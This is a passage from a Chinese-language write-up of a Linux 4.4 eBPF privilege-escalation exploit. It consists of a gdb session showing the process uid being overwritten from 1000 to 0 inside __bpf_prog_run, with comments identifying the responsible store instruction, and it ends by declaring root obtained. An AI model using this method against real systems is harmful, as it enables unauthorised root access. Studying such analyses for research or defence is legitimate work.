(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $38 = {val = 1000} //此時uid還是1000 (gdb) ni 0xffffffff811778ac 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $39 = {val = 1000} (gdb) ni 0xffffffff811778b4 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $40 = {val = 1000} (gdb) ni Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80, insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856 856 LDST(DW, u64) (gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid $41 = {val = 0} //此時uid已經變為0 (gdb) x/10i $rip-12 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax //就是這里改變了uid的值 => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx (gdb) x/1l ($rcx+$rdx*1) //$rcx+$rdx*1的值0xffff880075b7ca84即為uid的地址 0xffff880075b7ca84: Undefined output format "l". (gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid $43 = (kuid_t *) 0xffff880075b7ca84 (gdb) i r $rax //此時rax為我們需要些到uid地址的值0 rax 0x0 0 (gdb)
提權成功:
到此整個漏洞利用完成,后面的部分寫的有點倉促了,如果有錯誤的地方,還請各位朋友不吝賜教。